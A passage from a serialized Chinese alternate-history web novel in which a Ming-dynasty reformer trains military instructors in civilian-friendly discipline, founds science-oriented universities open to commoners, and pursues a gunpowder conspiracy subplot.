他想起当年在广西,有支卫所军路过村子,抢了几只鸡,结果村民半夜放火烧了营帐,死了三个弟兄——冤冤相报,没个头。
“第二条,”苏惟瑾继续写,“缴获归公。”
这下连李秀才都皱眉了:“国公爷,弟兄们战场上拼死拼活,缴了点东西……都归公,是不是太……”
“太什么?”苏惟瑾反问,“太不近人情?”
他放下粉笔,正色道:“我问你们——军饷,朝廷给没给?”
“给了。”底下应道。
“立了功,赏银给没给?”
“给了。”
“伤了残了,抚恤银给没给?”
“给了。”
“那缴获为什么不能归公?”苏惟瑾一字一句,“今日你抢了敌将一块玉佩,藏怀里;明日他抢了同袍一袋银子,也藏怀里。”
“时间长了,打仗不为杀敌,为抢东西——这军队还叫军队么?”
“那是土匪窝!”
他顿了顿,语气缓了些:“当然,缴获归公不是白归。”
“朝廷会按价值折算,一部分充公,一部分作额外赏银发下去。”
“但必须走明路,不能私藏。”
学员们若有所思。
“第三条,”苏惟瑾写下最后一行,“一切行动听指挥。”
这个大家倒没意见。
当兵的不听令,那还打什么仗?
“好,三大纪律讲完了。”苏惟瑾拍拍手上的粉笔灰,“接下来是八项注意。”
他又在黑板上写:
“一、说话和气;二、买卖公平;三、借东西要还;四、损坏东西要赔;五、不打人骂人;六、不损坏庄稼;七、不调戏妇女;八、不虐待俘虏。”
每写一条,底下就议论一阵。
等写完了,赵猛又憋不住了:“国公爷,这……这也太细了吧?”
“借东西要还?损坏要赔?当兵的粗人,哪记得住这些?”
苏惟瑾笑了:“赵猛,我问你——若你是百姓,有兵跟你借锄头,用完扔了不还,你下次还借么?”
“不借。”
“若你是妇人,有兵盯着你瞧,嘴里不干不净,你怕不怕?”
“……怕。”
“那就是了。”苏惟瑾走到学员中间,“教导官是干什么的?”
“就是要把这些道理,一遍遍讲给士卒听。”
“不是要他们当圣人,是要他们明白——百姓是我们的根。”
“根烂了,树就倒了。”
他停在一个年轻学员面前:“你叫什么?”
“回国公爷,小的叫陈石头。”
“石头,我问你——若你手下有个兵,偷了老乡一只鸡,你怎么办?”
陈石头挠头:“按军法……该打军棍。”
“打完呢?”
“打完……就完了啊。”
“不对。”苏惟瑾摇头,“打完军棍,你得带着那兵,拎着两倍价的银子,去老乡家赔罪。”
“军棍是罚,赔罪是教。”
“要让那兵记住,也要让老乡知道——大明的兵,有错认错,不耍横。”
陈石头眼睛一亮:“小的明白了!”
“好。”苏惟瑾走回讲台,“现在,三人一组,讨论一个问题:若是你驻防的村子闹饥荒,有村民来军营求粮,你给不给?给多少?怎么给?”
讲堂里顿时热闹起来。
八十人分成二十多组,争得面红耳赤。
有说该给的,有说军粮不能动的,有说可以借但得还的……
苏惟瑾在各组间走动,偶尔插句话,点拨几句。
转到王二狗那组时,正听李秀才说:“……该给,但不能白给。”
“可以让他们以工代赈,修路挖渠,换粮食。”
赵猛瞪眼:“都饿得快死了,哪有力气干活?”
王二狗沉吟道:“国公爷刚才说,借东西要还。”
“借粮也是借,可以让他们打下粮食再还,不加息。”
苏惟瑾听了,点头:“王二狗说得对。”
“军民是鱼水,不是施舍。”
“借粮要立字据,秋后还粮,这叫互信互助。”
他又走到另一组,听一个学员说:“要我说,当兵的自己都吃不饱,管他们作甚?”
苏惟瑾停下,问那学员:“你叫什么?”
“小的……张文才。”
“张文才,”苏惟瑾看着他,“若你是那村民,饿得眼冒金星,眼看妻儿要饿死,你去求军营,当兵的说‘我们自己都吃不饱,管你们作甚’——你恨不恨?”
张文才低头:“……恨。”
“恨了会怎样?”苏惟瑾追问,“会骂朝廷,会怨官府,会想——这世道,当兵的都不管我们死活,反了吧!”
他声音提高,全讲堂都安静了。
“一根柴火点不燃,可若千根万根柴火都恨,那就是燎原大火!”苏惟瑾环视众人,“教导官要做的,就是不让这根柴火被点燃。”
“百姓有难,咱们能帮就帮,帮不了也要好言解释——人心都是肉长的,你敬他一尺,他敬你一丈。”
学员们纷纷点头。
这时,外头传来喧哗声。
苏惟奇匆匆进来,在苏惟瑾耳边低语几句。
苏惟瑾眉头一皱,随即舒展:“让他们进来。”
讲堂门被推开,进来三个人。
领头的是孙有禄,身后跟着两个家丁模样的汉子,抬着个木箱。
“国公爷,”孙有禄皮笑肉不笑,“下官听说军校开班,特来祝贺。”
“带了点心意——五十本《武经总要》,给学员们长长见识。”
说着,让家丁打开箱子,里头果然是线装书。
学员们面面相觑。
这孙佥事前几日还在朝上反对教导官制度,今日就来送书?
黄鼠狼给鸡拜年吧?
苏惟瑾笑了:“孙佥事有心了。”
“不过《武经总要》是兵书,教导官学的是治心——不太对路啊。”
孙有禄脸色一僵,干笑道:“多学点总没错。”
“不过下官倒是好奇,国公爷这‘三大纪律八项注意’,听着新鲜,可战场上真管用么?”
他走到黑板前,指着“说话和气”那条,嗤笑:“两军对阵,难不成还要先跟敌将客客气气作个揖?”
底下有学员忍不住笑出声。
苏惟瑾也不恼,反问:“孙佥事觉得,打仗靠什么赢?”
“自然是靠勇猛!靠悍不畏死!”
“那勇猛从哪儿来?悍不畏死从哪儿来?”苏惟瑾步步紧逼,“是靠克扣军饷克出来的?还是靠打骂士卒打出来的?”
孙有禄脸一沉:“国公爷这是何意?”
“我的意思是,”苏惟瑾走到学员中间,“真正的勇猛,来自于知道为谁而战、为何而战。”
“教导官要做的,就是让每个士卒明白——他们保卫的是家乡的父母,是田里的庄稼,是身后的妻儿。”
“明白了这个,不用你打骂,他自然敢拼命。”
他顿了顿,看向孙有禄:“孙佥事营中去年逃兵百余,哗变一次——你的兵,明白为谁而战么?”
孙有禄被噎得说不出话,脸色一阵红一阵白。
半晌,他咬牙拱手:“国公爷高见,下官……受教了。”
说罢,转身就走,连那箱书都不要了。
两个家丁慌忙抬着箱子跟出去。
讲堂里寂静片刻,随即爆发出哄笑。
赵猛拍大腿:“痛快!看那孙胖子吃瘪,比吃红烧肉还香!”
王二狗却皱眉:“国公爷,这孙有禄今日来者不善啊。”
“我知道。”苏惟瑾淡淡道,“他是来探虚实的。”
“不过无妨,教导官制度推行在即,他拦不住。”
他走回讲台,神情严肃起来:“今日课就上到这里。”
“记住——你们不是去军营当老爷的,是去当兄长、当朋友的。”
“士卒有苦,你们要听;有冤,你们要报;有难,你们要帮。”
“三个月后结业,我希望看到八十个能让士卒真心喊一声‘大哥’的教导官。”
“谨遵国公教诲!”八十人齐声应道,声震屋瓦。
……
课后,苏惟瑾没急着走,在学堂里转了转。
走到饭堂时,正赶上开饭。
学员们排队打饭,两菜一汤,糙米饭管饱。
王二狗那桌边吃边聊,说得热闹。
“要我说,国公爷那‘借东西要还’,真说到点子上了。”一个学员道,“我老家那边,卫所军借老乡的锅,用完不洗就还,油垢积了半寸厚!老乡敢怒不敢言。”
“还有不打人骂人,”另一个接话,“咱们什长动不动就抽鞭子,弟兄们面上服,心里恨着呢。”
苏惟瑾听着,嘴角泛起笑意。
这时苏惟奇过来,低声道:“公子,刘一手那边有新发现。”
“说。”
“他爷爷那本笔记里提到,‘白霜’似乎不是天然伴生,而是……人为添加的。”苏惟奇声音压得更低,“笔记里记着,洪武年间有个硝工,因在硝石里掺‘白霜’被处死。”
“那硝工姓张,是张永的曾祖。”
苏惟瑾眼神一凛。
百年阴谋,四代传承?
“还有,”苏惟奇继续道,“刘一手按照笔记里说的法子,试了试——把提纯过的硝石泡在某种药水里,果然析出了‘白霜’。”
“而那药水的配方……孙有禄家的硝矿附近,正好有其中一味主药。”
苏惟瑾眯起眼。
孙有禄今日来,真的只是探虚实?
还是说……他察觉到了什么?
孙有禄突然造访军校,是真来挑衅,还是察觉刘一手在查“白霜”之事?
张家四代涉足火药阴谋,孙家硝矿又产关键药材——这两家是否早有勾结?
更蹊跷的是,学员张文才在课后悄悄找到苏惟奇,吞吞吐吐说出一件事:他有个远房表舅在孙有禄营中当书办,去年曾听孙有禄酒后说:“张家的事……不能漏,漏了大家都得死。”
张家什么事?
孙有禄又知道多少?
而就在当晚,王恭厂库房突然失火,烧掉了三间存放旧档的屋子——其中一间,正存着成化以来所有火药配方的原始记录!
这场火,是意外,还是有人要毁灭证据?
教导官们即将结业入驻各营,等待他们的,究竟是崭新的军旅生涯,还是早已布好的杀局?
第430章 三京立学堂,瑾编“新四书”
四月初八,王恭厂的火还没查清,苏惟瑾已经坐在文渊阁的东厢房里,铺开了一张更大的蓝图。
窗外海棠开得正盛,粉白的花瓣被风吹进屋里,落在摊开的宣纸上。
纸上用炭笔画着三个大圈,分别标着“北京”、“南京”、“西安”,每个圈外又延伸出若干小圈,写着“格物大学”、“师范学堂”、“实业学堂”等字样。
“公子,”苏惟奇端着茶进来,见苏惟瑾盯着图纸出神,轻声问,“王恭厂那火……”
“让周大山接着查。”苏惟瑾头也没抬,“烧的是旧档,说明有人怕我们翻旧账。”
“越怕,越说明我们查对了方向。”
他端起茶抿了一口,目光仍落在图纸上:“但火药的事要查,教育的事也不能停。”
“两条腿走路,才稳当。”
苏惟奇凑近看了看图,疑惑道:“这是……要在三地办学堂?”
“不只是学堂。”苏惟瑾用炭笔在“格物大学”四个字上点了点,“是大学。”
“要办就办最高学府,培养顶尖人才。”
他站起身,走到窗边,望着满院海棠:“大明不缺读书人,缺的是懂实学、能干事的读书人。”
“四书五经要读,可算学、物理、地理、实业——这些能让国家强盛的学问,也得有人学。”
苏惟奇似懂非懂地点点头。
三日后,早朝。
小皇帝朱载重刚坐稳,苏惟瑾就出列了。
“陛下,臣有本奏。”
八岁的小皇帝如今已经有点模样了,坐得端正,声音也清了:“国公请讲。”
“臣请于北京、南京、西安三地,设立‘皇家格物大学’。”苏惟瑾朗声道,“校训八字:实事求是,格物致知。”
“专授实学,培养治国经世之才。”
话音落下,文官队列里一片哗然。
礼部尚书杨慎之第一个站出来——这位老大人是杨廷和之子,学问好,可也最守旧。
“陛下,臣反对!”杨慎之须发皆白,声音却洪亮,“国子监、府学、县学,已有完备学制。”
“四书五经,乃圣人之道,治国之本。”
“如今另设‘格物大学’,教什么?难不成教工匠之术?”
“此乃本末倒置!”
他身后几个翰林也附和:“是啊陛下!读书人当以圣贤书为本,岂可学那些奇技淫巧?”
苏惟瑾不慌不忙,等他们说完才开口:“杨尚书说四书五经是治国之本,那请问——去年黄河决堤,是靠《论语》堵住的,还是靠工匠修筑堤坝堵住的?”
杨慎之一愣。
“陕西大旱,是靠《孟子》祈来的雨,还是靠修渠引水救的灾?”苏惟瑾继续问,“东南抗倭,是靠《大学》退的敌,还是靠新式火铳、战船打的胜仗?”
一连三问,问得杨慎之老脸涨红。
苏惟瑾转向百官:“圣贤书要读,可光读圣贤书,治不了水、造不了船、算不了账、医不了病!”
“格物大学要教的,正是这些实实在在的学问。”
这时,首辅费宏出列了。
老首辅捋着胡子,缓缓道:“老臣以为,国公所言有理。”
“只是……这格物大学教什么、怎么教,需谨慎斟酌。”
“若真能培养出治水、算账、造器之才,于国于民,皆是好事。”
费宏这一表态,原本想反对的官员都迟疑了。
小皇帝眨眨眼,看向苏惟瑾:“国公,那学堂……教些什么呀?”
苏惟瑾躬身:“回陛下,臣已拟好教材,名曰‘新四书’。”
“新四书?”朱载重好奇了,“哪四书?”
“《算学启蒙》、《物理常识》、《地理图志》、《实业纲要》。”苏惟瑾一一报出。
朝堂上又炸了。
“荒唐!”一个老翰林气得胡子乱颤,“四书乃《大学》《中庸》《论语》《孟子》,圣人所定,千古不移!”
“岂能随意更替?!”
“这不是更替,是补充。”苏惟瑾平静道,“圣贤教做人道理,新四书教做事本领。”
“二者并行不悖。”
“那也不行!”杨慎之激动道,“算学、物理,皆是末流小技,岂能与圣贤书并列?!”
眼看要吵起来,小皇帝忽然开口:“朕……朕想看看。”
众人都看向他。
朱载重有些不好意思,小声说:“朕昨日算学课,算鸡兔同笼,算了半个时辰……若是真有《算学启蒙》,朕想学学。”
孩子天真的话,让朝堂安静了。
苏惟瑾笑了:“陛下想看,臣这就让人呈上来。”
他朝殿外点点头。
早已候着的苏惟奇捧着一个木匣进来,打开,取出四本线装书——正是“新四书”的样本。
书传到御案上,小皇帝好奇地翻看。
《算学启蒙》里画着奇怪的符号(阿拉伯数字),列着整齐的算式;《物理常识》有滑轮、杠杆的图;《地理图志》则是一张大得惊人的世界地图——大明只在中间占了一小块。
“这……这是天下?”朱载重指着地图。
“是。”苏惟瑾走到御案旁,指着图讲解,“陛下看,这是大明,这是蒙古,这是朝鲜、日本……往西走,还有波斯、天竺、欧罗巴。”
“天下之大,远超我们所知。”
满朝文武都伸长了脖子看那张地图。
杨慎之也忍不住凑近,看了半晌,喃喃道:“竟有如此之大……”
“所以,”苏惟瑾趁机道,“闭门读死书,不如开门看世界。”
“格物大学要教的,就是这样一个真实、广阔的世界。”
费宏点头:“此图……当传阅百官。”
首辅发了话,事情就成了一半。
三日后,文渊阁西厢房,“教材编纂局”正式成立。
屋里坐了二十几个人。
左边一排是孔闻韶带来的大儒,个个皓首苍髯,正襟危坐;右边一排是格物学堂的年轻骨干,最年轻的才十八岁;中间坐着苏惟瑾、费宏、孔闻韶。
桌上摊着四本书稿,正是“新四书”的初稿。
孔闻韶先开口,语气温和:“国公所编之书,老朽已粗览。”
“《算学启蒙》中的‘阿拉伯数字’,确实比算筹方便;《地理图志》开阔眼界;《实业纲要》也有实用之处。”
“只是……”
他顿了顿:“只是冠以‘新四书’之名,恐惹非议。”
“不如改名‘格物四要’,或‘实学四编’?”
一个大儒立刻附和:“孔公所言极是!‘四书’乃圣教根本,岂可僭越?”
另一个更直接:“算学物理,匠人之术,岂能入学堂正课?”
“此非读书人所为!”
格物学堂那边,一个叫陈数理的年轻人忍不住了——他是格物学堂第一批学生,如今已是算学教习。
“老先生,”陈数理站起来,还算恭敬,“算学怎就是匠人之术?”
“户部算赋税、工部算工程、兵部算粮草,哪样离得开算学?”
“读书人若连账都算不清,如何治国?”
那大儒冷笑:“治国靠的是仁政德治,不是算计!”
“那去年清查田亩,”陈数理不服,“若不是用新算法重新丈量,能查出那些瞒报的勋贵田产么?”
“仁政德治,也要有手段落实!”
“你……黄口小儿!”大儒气得拍桌子。
眼看要吵起来,苏惟瑾抬手止住。
“诸位,”他声音平和,“空谈无益。”
“不如我们……试试?”
“试什么?”大儒们问。
苏惟瑾看向孔闻韶:“孔公,钦天监可预测日食?”
“自然能。”孔闻韶道,“不过误差常在两刻钟左右。”
“那好。”苏惟瑾对陈数理道,“你用《算学启蒙》里的公式,算算下次日食的准确时刻。”
他又对另一个格物学堂的年轻教师道:“李工,你把滑轮组和透镜取火的装置搬来。”
两人领命而去。
半个时辰后,院子里摆开了阵势。
左边,陈数理在石桌上铺开纸笔,写下一串串算式。
几个大儒凑过来看,那些奇怪的符号他们不认识,可陈数理算得飞快,嘴里还念念有词:“地球轨道偏心率……月球升交点黄经……”
右边,李工带人架起一个滑轮组,又摆上几面铜镜。
苏惟瑾对众人道:“今日申时三刻,将有日食。”
“咱们就看看,是钦天监的老法子准,还是新算法准。”
大儒们将信将疑。
时间一点点过去。
申时初,日头还明晃晃的;申时二刻,天色开始暗了。
钦天监派来的官员看着日晷,喃喃道:“按老法算……该是申时三刻两刻(注:即申时三刻过一半)。”
陈数理抬起头:“新算法是申时三刻整。”
差一刻钟。
所有人都盯着天空。
申时三刻整——
日轮的边缘,忽然缺了一小块!
“开始了!”有人惊呼。
分秒不差!
大儒们瞪大了眼睛。
钦天监官员更是满脸不可思议:“这……这怎么可能?!”
苏惟瑾微微一笑,又指向滑轮组:“诸位再看。”
李工在滑轮组一头挂上五十斤的石锁,另一头只用了十斤力,轻轻一拉——石锁稳稳升起。
“这……”一个大儒上前,亲自试了试,“省力五倍?!”
“是。”李工解释,“这叫动滑轮组,省力但费距离。”
“若用在起重、搬运,一人可抵五人。”
他又拿起铜镜,对着阳光调整角度。
几面铜镜反射的光束汇聚到一点,落在枯草上——
“嗤”的一声,枯草冒烟,燃了!
“取火镜,”李工道,“可用于军中引火、野外求生,也可用于治炼时提高炉温。”
大儒们看着燃烧的枯草,看着升起的石锁,再看看天空中正被蚕食的日轮,一个个哑口无言。
事实胜于雄辩。
孔闻韶长叹一声,走到苏惟瑾面前,躬身道:“国公……老朽服了。”
“算学可测天象,物理可省人力——此非小道,实乃大道。”
他转身对众儒道:“圣人所言‘格物致知’,便是要究万物之理。”
“国公所编‘新四书’,正是格物致知之途,与圣学不悖。”
衍圣公都这么说了,谁还敢反对?
费宏适时开口:“既如此,教材便照此编定。”
“北京、南京、西安三地格物大学,今秋开课。”
“是!”众人应声。
编纂工作顺利推进。
《算学启蒙》加入了珠算口诀、田亩测量实例;《物理常识》补上了浮力、气压的简单解释;《地理图志》详细标注了大明各省矿产、物产;《实业纲要》则收录了苏惟瑾这些年推广的农业技术、手工业改良法。
五月底,初稿完成。
苏惟瑾亲自题写书名,并在每本书的扉页写上:“学以致用,方为真知。”
首批印刷三千套,分发各地官学。
消息传出,民间反响热烈——尤其是商人、工匠子弟,终于有了条除了科举之外的路。
但就在教材发行的第三天,出了件怪事。
南京国子监祭酒徐有仁——就是当年沭阳县学那个训导,后来巴结严嵩升了官——突然上疏,痛斥“新四书”“离经叛道,祸乱圣学”,并联合南京六部十几名官员,要求罢黜格物大学。
更蹊跷的是,徐有仁的奏疏里,竟然准确引用了“新四书”中几处尚未公开的细节——那是只有编纂局内部人员才知道的内容。
苏惟瑾看着那份奏疏,眼神冷了。
编纂局里……有内鬼。
徐有仁远在南京,如何得知“新四书”未公开细节?
编纂局二十余人,谁在暗中通敌?
更诡异的是,周大山从王恭厂灰烬中扒出一块烧焦的腰牌残片,上面隐约可见“徐”字——徐有仁的家人,曾有人供职火药局?
失火案、教材泄露案,是否都与这个徐有仁有关?
而就在此时,西安传来急报:格物大学选址地突然塌陷,露出一个深不见底的地洞,洞中散落着前朝盔甲、兵器,还有一本保存完好的《火器秘录》——其内容,竟与张永家族笔记惊人相似!
西安地下,究竟埋着什么秘密?
徐有仁、张永、孙有禄……这些看似不相干的人,是否被同一张网串联?
第431章 寒门子弟涌,瑾破门第槛
六月十五,格物大学的招生告示贴满了北京九门。
告示是青底黑字,盖着礼部大印,写得明白:“大明皇家格物大学今秋招生,凡大明子民,不分士农工商,年十五至二十五,通识字、明算学者,皆可应试。考取者食宿全免,优异者月给津贴。试期:七月初一至初五。试地:西山大营东侧。”
就这几行字,像块烧红的铁扔进水里,“滋啦”一声,全城都炸了。
不分士农工商!
食宿全免!
月给津贴!
多少寒门子弟,捧着这告示,手都在抖。
……
六月十八,天还没亮透。
西山大营东边那片新圈出来的校场外头,已经排起了长队。
队伍从校门口开始,沿着土路蜿蜒,足足排了三里多地,粗粗一看,怕是有上千人。
排在前头的是个黑瘦少年,叫周墩子,保定府农家子。
他怀里揣着三块杂面饼子——娘连夜烙的,还温乎。
身上那件粗布衣裳洗得发白,膝盖处打着补丁,可浆洗得干净。
周墩子后面是个小胖子,叫钱满仓,他爹在鼓楼大街开杂货铺。
小胖子穿着细棉布的短衫,腰间挂着个算盘,嘴里念念有词:“一归如一进,见一进成十……”
再往后,是个精悍的少年,叫鲁小锤。
他爹是木匠,他自小跟着刨木头、凿榫卯,手上全是老茧。
此刻他怀里抱着个木盒子,紧紧搂着,像抱着命根子。
天光大亮时,校场门开了。
出来几个穿着青色学袍的教习,为首的是陈数理——就是上回在文渊阁算日食那位。
他站到台阶上,清了清嗓子:
“诸位!按顺序排队,莫挤!”
“先来登记姓名籍贯,领号牌。”
“今日考两样:识字,认够五百字过关;算学,十题对七题过关。”
“过关者七月初一参加复试!”
人群一阵骚动。
登记开始了。
周墩子第一个上前,报上姓名、籍贯、家世。
登记的教习抬头看他一眼:“农家子?念过书么?”
“念过两年私塾,”周墩子紧张得声音发颤,“《三字经》《千字文》都背得。”
“好,甲字三号。”教习递过一块木牌。
周墩子接过,手心全是汗。
钱满仓上来时,教习问:“家里做什么的?”
“开……开杂货铺的。”小胖子有点不好意思。
“商人子啊。”教习点点头,没多说什么,递过木牌,“甲字十七号。”
轮到鲁小锤了。
“匠户?”教习皱眉。
“是……”鲁小锤声音更小,“我爹是木匠,我也会……”
“会什么?”
鲁小锤打开怀里木盒,里头是个精巧的木制小玩意儿——巴掌大小,有轮子、有杠杆,一推就能走。
“这……这叫木牛流马,”少年涨红了脸,“我自己琢磨的,能……能帮人搬点轻东西。”
教习拿起那玩意儿看了看,眼中闪过惊讶:“你做的?”
“嗯!”
教习打量他几眼,笑了:“乙字一号。好好考。”
队伍缓慢移动。
有通过的,欢天喜地;有不识字的,垂头丧气地离开。
但没人闹事——这些寒门子弟太珍惜这个机会了。
……
消息传到国子监时,严世蕃正在监里训话。
这位曾经的严府大少爷,如今是国子监祭酒——从二品,听着不小,可比起当年他爹权倾朝野时,那是天上地下。
严嵩倒台后,他能保住这个位置,全靠会钻营、会看风向。
此刻他站在明伦堂前,对着底下几百个监生,声音冷峻:
“……圣贤之道,乃立身之本。”
“尔等身为监生,当时刻惕厉,莫要被那些奇技淫巧迷了眼!”
“近日外头闹什么格物大学,招些工匠商贾之子——荒唐!”
“士农工商,各安其位,此乃天理!”
“若乱了纲常,国将不国!”
底下监生们低着头,心里却不以为然。
谁不知道格物大学那边食宿全免还有津贴?
国子监这边,除了那些有背景的,普通监生过得紧巴巴的。
严世蕃见众人神色,更恼了:“怎么?有人动心了?”
“我告诉你们——工匠商贾之子,就算学了点皮毛,终究是下等人!”
“朝廷取士,取的是读书明理的士子,不是会打算盘的账房!”
他正说着,外头匆匆进来个司业,在他耳边低语几句。
严世蕃脸色一变:“多少人?”
“怕是有……两三千。”司业声音发颤,“西山大营那边,队伍都排到官道上了!”
严世蕃一甩袖子,怒道:“成何体统!我这就上疏!”
……
两日后,早朝。
严世蕃捧着奏疏,声音激昂:
“陛下!臣闻格物大学招生,竟不分士农工商,凡识几个字、会打算盘者皆可应试——此乃乱法度、坏纲常之大弊!”
“工匠商贾之子,岂能与士子同堂?”
“长此以往,士子尊严何在?朝廷体统何存?”
他越说越激动:“太祖定制,士农工商各司其职。”
“若工匠子也能入学、也能做官,谁还愿安心务农做工?”
“天下必乱!”
这话说得重,不少保守官员点头。
苏惟瑾静静听着,等严世蕃说完了,才出列。
“严祭酒,”他语气平和,“你说了这么多,我只问你一句:国子监生员,去年科举中试者几何?”
严世蕃一愣,下意识答:“二十三人。”
“好。”苏惟瑾转向百官,“那诸位可知,格物学堂——也就是格物大学的前身,去年毕业百人,其中九十六人已入仕或从军。”
“这九十六人中,有工匠子三十八人、农家子二十七人、商贾子十九人、军户子十二人。”
他顿了顿,声音提高:“这三十八个工匠子,如今在工部、兵仗局、各地船厂,他们修了保定府到天津卫的官道,造了神机营新式火铳,设计了黄河新堤坝的排水机关——严祭酒,你可见过他们修的堤、造的铳?”
严世蕃语塞。
苏惟瑾继续问:“那二十七家农家子,如今在户部、各地农政司,他们推广了新式农具,培育了抗旱稻种,去年陕西大旱,就是他们指导百姓打井灌溉,救活了三万饥民——严祭酒,你可知?”
严世蕃额头冒汗。
“那十九个商贾子,”苏惟瑾步步紧逼,“如今在市舶司、各地税课司,他们理顺了海关税则,查办了七起走私大案,为国库增银八十万两——严祭酒,你可曾为国库添过一两银子?”
满殿寂静。
苏惟瑾转身,面向小皇帝,躬身道:“陛下,太祖爷曾言‘天下英才入吾彀中’。”
“太祖爷何曾说过,只收读书人,不收工匠、农人、商人?”
“臣立格物大学,正是要为大明网罗各类英才!”
“士子读圣贤书,治国理政;工匠精技艺,强军富民;农人通稼穑,足食安民;商人懂货殖,裕国通商——各展所长,方是盛世!”
小皇帝朱载重听得眼睛发亮。
这孩子虽然才八岁,可这几年跟着苏惟瑾,耳濡目染,早不是深宫里什么都不懂的娃娃了。
他脆生生开口:“国公说得对!”
“朕上月去西山看炮,那造炮的师傅就是工匠子,他说炮管要镗得匀,不然会炸膛——朕觉得他说得在理!”
他顿了顿,又补了句:“严爱卿,你……你造过炮么?”
童言无忌,却最扎心。
严世蕃脸涨成猪肝色,跪倒在地:“臣……臣愚钝……”
费宏适时出列打圆场:“陛下,老臣以为,格物大学招生,确可广纳英才。”
“只是……士农工商同堂,恐生龃龉。”
“不如分班教学,各专其长?”
苏惟瑾摇头:“首辅大人,正因为要消除隔阂,才要同堂。”
“让士子知道工匠不易,让工匠明白士子所想——彼此理解,方能同心。”
他看向严世蕃:“严祭酒,你若不服,不妨去格物大学看看。”
“看看那些寒门子弟,是怎么抓住这唯一改变命运的机会的。”
严世蕃咬着牙,说不出话。
……
退朝后,苏惟瑾没回府,直接去了西山校场。
考试还在继续。
通过初试的已经聚到一边,等着复试安排。
周墩子、钱满仓、鲁小锤都在其中。
鲁小锤正摆弄着他那木牛流马,周墩子好奇地看着:“这……真能动?”
“你看。”鲁小锤一推机关,木制的小车“嘎吱嘎吱”走了起来。
周围几个通过的少年都围过来看,啧啧称奇。
“你这脑子真灵!”
“我爹也是木匠,可没这巧思……”
苏惟瑾在不远处看着,笑了。
苏惟奇低声道:“公子,查清了。”
“编纂局泄密的人……是陈数理手下的一个算学教习,叫吴明。”
“他老家是南京的,徐有仁是他远房表舅。”
苏惟瑾眼神一冷:“吴明人呢?”
“昨儿夜里想跑,被周大山的人按住了。”
“在他住处搜出了徐有仁的信,还有……一本账册。”
“什么账册?”
“记录着这些年,徐有仁通过吴明,从格物学堂和兵仗局套取技术,转卖给江南几家工坊的账目。”苏惟奇声音更低,“其中有一项……是‘白霜’的提取法子。”
苏惟瑾猛地转头:“白霜?”
“是。”苏惟奇点头,“吴明交代,徐有仁三年前就开始暗中收集‘白霜’,但不知用途。”
“账册上写着,这些‘白霜’都运去了……西安。”
西安!
苏惟瑾想起西安地洞里那本《火器秘录》。
张永、孙有仁、徐有仁——这三条线,在西安交汇了。
“还有,”苏惟奇继续道,“吴明说,徐有仁最近催得很急,要他务必搞到新火药的完整配方。”
“还许他事成之后,送他去江南,隐姓埋名,享一辈子富贵。”
苏惟瑾眯起眼。
徐有仁要新火药配方做什么?
他自己用?
还是……替别人要?
他望向校场上那些寒门子弟。
这些少年眼中闪着光,那是希望的光。
可暗处,有人想用火药,把这光炸得粉碎。
“公子,要不要现在抓徐有仁?”苏惟奇问。
“不急。”苏惟瑾摇头,“让他接着要。”
“他越急,背后的人就越容易露头。”
他顿了顿,看向鲁小锤那群少年:“先把眼前的事办好。”
“这些孩子,是大明的未来。”
“他们的路,谁也不能挡。”
正说着,鲁小锤忽然抱着木牛流马跑过来,红着脸,结结巴巴:
“公、国公爷……我这个……能改进水车,省一半人力……您、您要看看么?”
少年眼中,是纯粹的热忱。
苏惟瑾笑了,接过那粗糙的木模型,仔细端详。
“好孩子,”他说,“好好学。”
“等你学成了,我让你去工部,真造一个能用的。”
鲁小锤激动得浑身发抖,扑通跪下:“谢国公爷!”
周围少年们都投来羡慕的目光。
寒门子弟的路,从这一天,真正开启了。
但暗处的阴影,也正在聚集。
徐有仁急于获取新火药配方,是否与西安地洞的秘密有关?
张永家族的百年阴谋、孙有仁家的硝矿、徐有仁的“白霜”交易——这三条线在西安交汇,究竟藏着什么惊天计划?
更蹊跷的是,吴明在审讯中忽然暴毙,死前用血在地上画了个古怪的符号:一个圆圈,里面三道波浪线。
周大山查遍典籍,发现这符号与元代某支秘密教派“白莲社”的标记惊人相似!
难道徐有仁背后,还有更大的势力?
而格物大学开学在即,这两千寒门子弟中,是否也混进了别有用心之人?
鲁小锤那木牛流马的原理,竟与地洞中发现的某件前朝机关有着微妙相似——这究竟是巧合,还是另有渊源?
第432章 瑾亲授课日,学子醉新学
八月初一,格物大学开学。
天还没亮,西山大营东边就挤满了人。
送孩子来的爹娘、看热闹的百姓、还有趁早来占位置的商贩——卖烧饼的、卖豆浆的、卖糖葫芦的,把校门口那条土路变成了集市。
周墩子他爹赶着驴车,天没亮就从保定府出发,这会儿正把儿子往校门口推:“墩子,好好学!”
“咱家就指望你了!”
钱满仓他爹塞给儿子一锭银子:“饿了买肉吃!”
“别省!”
鲁小锤他爹不会说话,只是把一套新做的木工工具塞进儿子怀里,拍了拍他肩膀。
三百名学子,穿着统一发放的青色学袍,排成三列走进校门。
他们中有农家子、匠户子、商贾子,还有少数几个破落士族子弟——这些人原本看不上格物大学,可见到招生那场面,也动了心:万一呢?
大讲堂是新建的,能容五百人。
今日不仅学子坐满了,后排还站着几十号旁听的——有工部、兵部的官员,有国子监派来“观摩”的司业,甚至还有几个老儒,是严世蕃特意请来“挑刺”的。
辰时正,钟声敲响。
苏惟瑾走进了讲堂。
他今日穿的是常服,靛蓝道袍,腰间系着根普通的丝绦,头上只簪了根白玉簪子。
可就这么简简单单往讲台上一站,满堂鸦雀无声。
“诸位,”他开口,声音清朗,“今日是格物大学第一课。”
“我不讲四书五经,不讲圣贤道理,只问一个问题——”
他顿了顿,目光扫过全场:“太阳为何东升西落?”
底下学子们一愣。
这问题……太简单了吧?
坐在前排的一个士族子弟站起来,拱手道:“回国公爷,《易经》有云:‘日月运行,一寒一暑’,此乃天道循环,阴阳交替。”
另一个农家子怯生生举手:“俺爹说……是太阳公公早上起床,晚上睡觉……”
讲堂里响起低低的笑声。
苏惟瑾也笑了:“说得都有道理。”
“但今日,我要告诉诸位另一个答案。”
他朝讲堂侧门点点头。
苏惟奇和两个工匠推着一辆小车进来,车上盖着块蓝布。
掀开布,底下是个三尺来高的木架,架子上固定着一个奇怪的圆球——球体用硬纸壳糊成,表面贴着舆图,画着山川海洋,还用不同颜色标出大明、蒙古、欧罗巴……
最奇的是,这圆球竟然在缓缓转动!
“这……这是什么?”有学子惊呼。
“这叫地球仪。”苏惟瑾走到球旁,手轻轻一推,球体继续转动,“我们脚下的大地,不是平的,而是这样一个球。”
“轰——”
讲堂炸了。
“球?!那我们不会掉下去吗?”
“海水怎么不流走?”
“荒唐!《周髀算经》明明说‘天圆地方’!”
